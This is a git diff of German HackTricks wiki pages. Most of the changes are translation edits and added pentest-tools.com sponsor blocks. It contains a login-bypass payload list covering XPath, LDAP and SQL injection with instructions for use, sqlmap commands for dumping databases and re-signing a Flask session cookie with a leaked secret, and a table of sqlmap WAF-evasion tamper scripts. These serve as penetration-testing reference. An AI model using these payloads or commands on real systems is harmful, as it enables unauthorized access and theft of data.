||||
{% endcontent-ref %}
|
||||
|
||||
* Request Smuggling bei HTTP/2 Downgrades
|
||||
* Request Smuggling in HTTP/2 Downgrades
|
||||
|
||||
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
|
||||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Turbo Intruder-Skripte
|
||||
## Turbo Intruder Skripte
|
||||
|
||||
### CL.TE
|
||||
|
||||
|
@ -725,17 +733,25 @@ table.add(req)
|
|||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die es Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,30 @@
|
|||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Diese Liste enthält **Payloads, um sich über XPath, LDAP und SQL-Injection anzumelden** (in dieser Reihenfolge).
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, dein Netzwerk und die Cloud
|
||||
|
||||
Die Verwendung dieser Liste besteht darin, die **ersten 200 Zeilen als Benutzernamen und Passwort einzugeben.** Geben Sie dann die vollständige Liste zuerst im Benutzernamen und dann in den Passwortfeldern ein, während Sie ein Passwort (wie _Pass1234._) oder einen bekannten Benutzernamen (wie _admin_) eingeben.
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, wodurch deine harte Arbeit in überzeugende Berichte umgewandelt wird.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
Diese Liste enthält **Payloads, um den Login über XPath, LDAP und SQL-Injection zu umgehen** (in dieser Reihenfolge).
|
||||
|
||||
Die Art und Weise, diese Liste zu verwenden, besteht darin, die **ersten 200 Zeilen als Benutzernamen und Passwort einzugeben.** Dann gib die vollständige Liste zuerst in das Benutzernamenfeld und dann in das Passwortfeld ein, während du ein Passwort (wie _Pass1234._) oder einen bekannten Benutzernamen (wie _admin_) eingibst.
|
||||
```
|
||||
admin
|
||||
password
|
||||
|
@ -823,17 +831,26 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
%8C%A8%27)||1-- 2
|
||||
%bf')||1-- 2
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,9 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -61,7 +63,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
## Injectionstelle
|
||||
## Injection-Stelle
|
||||
|
||||
### Aus Burp/ZAP-Erfassung
|
||||
|
||||
|
@ -98,7 +100,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
```
|
||||
### Eval
|
||||
|
||||
**Sqlmap** ermöglicht die Verwendung von `-e` oder `--eval`, um jede Nutzlast vor dem Senden mit einem Python-Oneliner zu verarbeiten. Dies macht es sehr einfach und schnell, die Nutzlast auf benutzerdefinierte Weise vor dem Senden zu verarbeiten. Im folgenden Beispiel **wird die Flask-Cookie-Sitzung von Flask mit dem bekannten Geheimnis signiert, bevor sie gesendet wird**:
|
||||
**Sqlmap** ermöglicht die Verwendung von `-e` oder `--eval`, um jede Nutzlast vor dem Senden mit einem Python-Oneliner zu verarbeiten. Dies macht es sehr einfach und schnell, die Nutzlast auf benutzerdefinierte Weise vor dem Senden zu verarbeiten. Im folgenden Beispiel **wird die flask cookie session** **von flask mit dem bekannten Geheimnis signiert, bevor sie gesendet wird**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
|
@ -130,7 +132,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
|||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
[**Lies diesen Beitrag** ](second-order-injection-sqlmap.md)**über die Durchführung einfacher und komplexer zweiter Ordnung Injektionen mit sqlmap.**
|
||||
[**Lies diesen Beitrag** ](second-order-injection-sqlmap.md)**über die Durchführung einfacher und komplexer zweiter Injektionen mit sqlmap.**
|
||||
|
||||
## Anpassen der Injektion
|
||||
|
||||
|
@ -156,56 +158,58 @@ Denken Sie daran, dass **Sie Ihre eigenen Tamper in Python erstellen können** u
|
|||
```
|
||||
| Tamper | Beschreibung |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Ersetzt das Apostroph-Zeichen durch sein UTF-8-Vollbreiten-Gegenstück |
|
||||
| apostrophenullencode.py | Ersetzt das Apostroph-Zeichen durch sein illegales doppeltes Unicode-Gegenstück |
|
||||
| appendnullbyte.py | Fügt am Ende der Payload ein kodiertes NULL-Byte-Zeichen hinzu |
|
||||
| base64encode.py | Kodiert alle Zeichen in einer gegebenen Payload in Base64 |
|
||||
| between.py | Ersetzt den Größer-als-Operator ('>') durch 'NOT BETWEEN 0 AND #' |
|
||||
| apostrophemask.py | Ersetzt das Apostrophzeichen durch sein UTF-8-Vollbreiten-Gegenstück |
|
||||
| apostrophenullencode.py | Ersetzt das Apostrophzeichen durch sein illegales doppeltes Unicode-Gegenstück |
|
||||
| appendnullbyte.py | Fügt am Ende der Payload ein kodiertes NULL-Byte-Zeichen hinzu |
|
||||
| base64encode.py | Kodiert alle Zeichen in einer gegebenen Payload in Base64 |
|
||||
| between.py | Ersetzt den Größer-als-Operator ('>') durch 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Ersetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Danach wird das Zeichen = durch den LIKE-Operator ersetzt |
|
||||
| chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen) |
|
||||
| commalesslimit.py | Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Ersetzt Instanzen wie 'MID(A, B, C)' durch 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Ersetzt Instanzen wie 'CONCAT(A, B)' durch 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen) |
|
||||
| charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen). "\u0022" |
|
||||
| equaltolike.py | Ersetzt alle Vorkommen des Operators gleich ('=') durch den Operator 'LIKE' |
|
||||
| escapequotes.py | Schrägstrich-Escape für Anführungszeichen (' und ") |
|
||||
| greatest.py | Ersetzt den Größer-als-Operator ('>') durch das 'GREATEST'-Gegenstück |
|
||||
| halfversionedmorekeywords.py | Fügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu |
|
||||
| ifnull2ifisnull.py | Ersetzt Instanzen wie 'IFNULL(A, B)' durch 'IF(ISNULL(A), B, A)' |
|
||||
| chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
|
||||
| commalesslimit.py | Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Ersetzt Instanzen wie 'MID(A, B, C)' durch 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Ersetzt Instanzen wie 'CONCAT(A, B)' durch 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
|
||||
| charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten). "%u0022" |
|
||||
| charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten). "\u0022" |
|
||||
| equaltolike.py | Ersetzt alle Vorkommen des Operators gleich ('=') durch den Operator 'LIKE' |
|
||||
| escapequotes.py | Schrägstrich-Escape für Anführungszeichen (' und ") |
|
||||
| greatest.py | Ersetzt den Größer-als-Operator ('>') durch das 'GREATEST'-Gegenstück |
|
||||
| halfversionedmorekeywords.py | Fügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu |
|
||||
| ifnull2ifisnull.py | Ersetzt Instanzen wie 'IFNULL(A, B)' durch 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Umgibt die gesamte Abfrage mit einem versionierten Kommentar |
|
||||
| modsecurityzeroversioned.py | Umgibt die gesamte Abfrage mit einem null-versionierten Kommentar |
|
||||
| multiplespaces.py | Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu |
|
||||
| nonrecursivereplacement.py | Ersetzt vordefinierte SQL-Schlüsselwörter durch für den Austausch geeignete Darstellungen (z.B. .replace("SELECT", "")) Filter |
|
||||
| percentage.py | Fügt ein Prozentzeichen ('%') vor jedem Zeichen hinzu |
|
||||
| overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten Zeichen) |
|
||||
| randomcase.py | Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß-/Kleinbuchstaben |
|
||||
| randomcomments.py | Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu |
|
||||
| modsecurityzeroversioned.py | Umgibt die gesamte Abfrage mit einem null-versionierten Kommentar |
|
||||
| multiplespaces.py | Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu |
|
||||
| nonrecursivereplacement.py | Ersetzt vordefinierte SQL-Schlüsselwörter durch Darstellungen, die für die Ersetzung geeignet sind (z.B. .replace("SELECT", "")) Filter |
|
||||
| percentage.py | Fügt ein Prozentzeichen ('%') vor jedem Zeichen hinzu |
|
||||
| overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
|
||||
| randomcase.py | Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben |
|
||||
| randomcomments.py | Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu |
|
||||
| securesphere.py | Fügt eine speziell gestaltete Zeichenfolge hinzu |
|
||||
| sp\_password.py | Fügt 'sp\_password' am Ende der Payload zur automatischen Obfuskation aus DBMS-Protokollen hinzu |
|
||||
| space2comment.py | Ersetzt das Leerzeichen-Zeichen (' ') durch Kommentare |
|
||||
| space2dash.py | Ersetzt das Leerzeichen-Zeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n') |
|
||||
| space2hash.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein Pfund-Zeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n') |
|
||||
| space2morehash.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein Pfund-Zeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n') |
|
||||
| space2mssqlblank.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein zufälliges Leerzeichen aus einem gültigen Satz alternativer Zeichen |
|
||||
| space2mssqlhash.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein Pfund-Zeichen ('#'), gefolgt von einer neuen Zeile ('\n') |
|
||||
| space2mysqlblank.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein zufälliges Leerzeichen aus einem gültigen Satz alternativer Zeichen |
|
||||
| space2mysqldash.py | Ersetzt das Leerzeichen-Zeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer neuen Zeile ('\n') |
|
||||
| space2plus.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein Pluszeichen ('+') |
|
||||
| space2randomblank.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein zufälliges Leerzeichen aus einem gültigen Satz alternativer Zeichen |
|
||||
| space2comment.py | Ersetzt das Leerzeichen (' ') durch Kommentare |
|
||||
| space2dash.py | Ersetzt das Leerzeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n') |
|
||||
| space2hash.py | Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n') |
|
||||
| space2morehash.py | Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n') |
|
||||
| space2mssqlblank.py | Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einem gültigen Satz alternativer Zeichen |
|
||||
| space2mssqlhash.py | Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer neuen Zeile ('\n') |
|
||||
| space2mysqlblank.py | Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einem gültigen Satz alternativer Zeichen |
|
||||
| space2mysqldash.py | Ersetzt das Leerzeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer neuen Zeile ('\n') |
|
||||
| space2plus.py | Ersetzt das Leerzeichen (' ') durch ein Pluszeichen ('+') |
|
||||
| space2randomblank.py | Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einem gültigen Satz alternativer Zeichen |
|
||||
| symboliclogical.py | Ersetzt die logischen Operatoren AND und OR durch ihre symbolischen Gegenstücke (&& und |
|
||||
| unionalltounion.py | Ersetzt UNION ALL SELECT durch UNION SELECT |
|
||||
| unmagicquotes.py | Ersetzt das Anführungszeichen-Zeichen (') durch eine Multi-Byte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende (um es zum Laufen zu bringen) |
|
||||
| uppercase.py | Ersetzt jedes Schlüsselwortzeichen durch den Großbuchstabenwert 'INSERT' |
|
||||
| unmagicquotes.py | Ersetzt das Anführungszeichen (') durch eine Multi-Byte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende (um es zum Laufen zu bringen) |
|
||||
| uppercase.py | Ersetzt jedes Schlüsselwortzeichen durch den Großbuchstaben 'INSERT' |
|
||||
| varnish.py | Fügt einen HTTP-Header 'X-originating-IP' hinzu |
|
||||
| versionedkeywords.py | Umgibt jedes Nicht-Funktionsschlüsselwort mit einem versionierten MySQL-Kommentar |
|
||||
| versionedmorekeywords.py | Umgibt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar |
|
||||
| xforwardedfor.py | Fügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu |
|
||||
| versionedkeywords.py | Umgibt jedes nicht-funktionale Schlüsselwort mit einem versionierten MySQL-Kommentar |
|
||||
| versionedmorekeywords.py | Umgibt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar |
|
||||
| xforwardedfor.py | Fügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu |
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Pentesting**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die es Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -15,15 +15,24 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
In jedem Web Pentest gibt es **mehrere versteckte und offensichtliche Stellen, die anfällig sein könnten**. Dieser Beitrag soll eine Checkliste sein, um zu bestätigen, dass du nach Schwachstellen an allen möglichen Stellen gesucht hast.
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, Netzwerk und Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Berechtigungen zu eskalieren, und verwende automatisierte Exploits, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
In jedem Web-Pentest gibt es **mehrere versteckte und offensichtliche Stellen, die anfällig sein könnten**. Dieser Beitrag soll eine Checkliste sein, um zu bestätigen, dass du nach Schwachstellen an allen möglichen Stellen gesucht hast.
|
||||
|
||||
## Proxies
|
||||
|
||||
{% hint style="info" %}
|
||||
Heutzutage **verwenden** **Web** **Anwendungen** normalerweise eine Art von **vermittelnden** **Proxys**, die (miss)braucht werden können, um Schwachstellen auszunutzen. Diese Schwachstellen benötigen einen anfälligen Proxy, der vorhanden ist, aber sie benötigen normalerweise auch eine zusätzliche Schwachstelle im Backend.
|
||||
Heutzutage verwenden **Webanwendungen** normalerweise eine Art von **vermittelnden Proxys**, die (miss)braucht werden können, um Schwachstellen auszunutzen. Diese Schwachstellen benötigen einen anfälligen Proxy, der vorhanden ist, aber sie benötigen normalerweise auch eine zusätzliche Schwachstelle im Backend.
|
||||
{% endhint %}
|
||||
|
||||
* [ ] [**Missbrauch von hop-by-hop-Headern**](abusing-hop-by-hop-headers.md)
|
||||
* [ ] [**Missbrauch von Hop-by-Hop-Headern**](abusing-hop-by-hop-headers.md)
|
||||
* [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
|
||||
* [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
|
||||
